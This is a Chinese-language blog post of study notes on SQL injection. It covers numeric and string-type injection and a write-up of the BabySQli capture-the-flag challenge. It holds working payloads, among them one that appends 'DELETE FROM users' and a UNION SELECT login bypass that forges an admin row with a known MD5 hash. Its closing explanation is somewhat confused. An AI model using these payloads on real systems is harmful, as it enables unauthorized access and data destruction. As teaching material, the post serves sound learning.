SQL注入

举个例子

// 设定$name 中插入了我们不需要的SQL语句
$name = "Qadir'; DELETE FROM users;";
 mysqli_query($conn, "SELECT * FROM users WHERE name='{$name}'");

那么语句就变成了:

SELECT * FROM users WHERE name='Qadir'; DELETE FROM users;'

通常 Sql 注入漏洞分为 2 种类型:

  • 数字型
  • 字符型

数字型:

select * from <表名> where id = x

如果输入:

1 or 1 == 1 

就变成:

select * from <表名> where id = 1 or 1 = 1 

无论如何都正确

字符型

select * from <表名> where id = 'x'

如果输入:

x ' or '1' = '1

就变成:

select * from <表名> where id = 'x ' or '1' = '1'

绝对正确

好奇啊,怎么select还可以这样做呢?

联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据

[GXYCTF2019]BabySQli

好奇怪

一般来讲,是三列

输入:

1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
1

c4ca4238a0b923820dcc509a6f75849b是1的md5加密。

注意第一点,就是,

id  username password

执行

select * from users where username = '1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#

我觉得无论输入

1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#

还是

admin' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#

都是可以注入成功的。

但是不行?

不知道为啥。

因为前面的是id,无论这个username是否存在,后面的语句都是可以添加到虚拟表的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值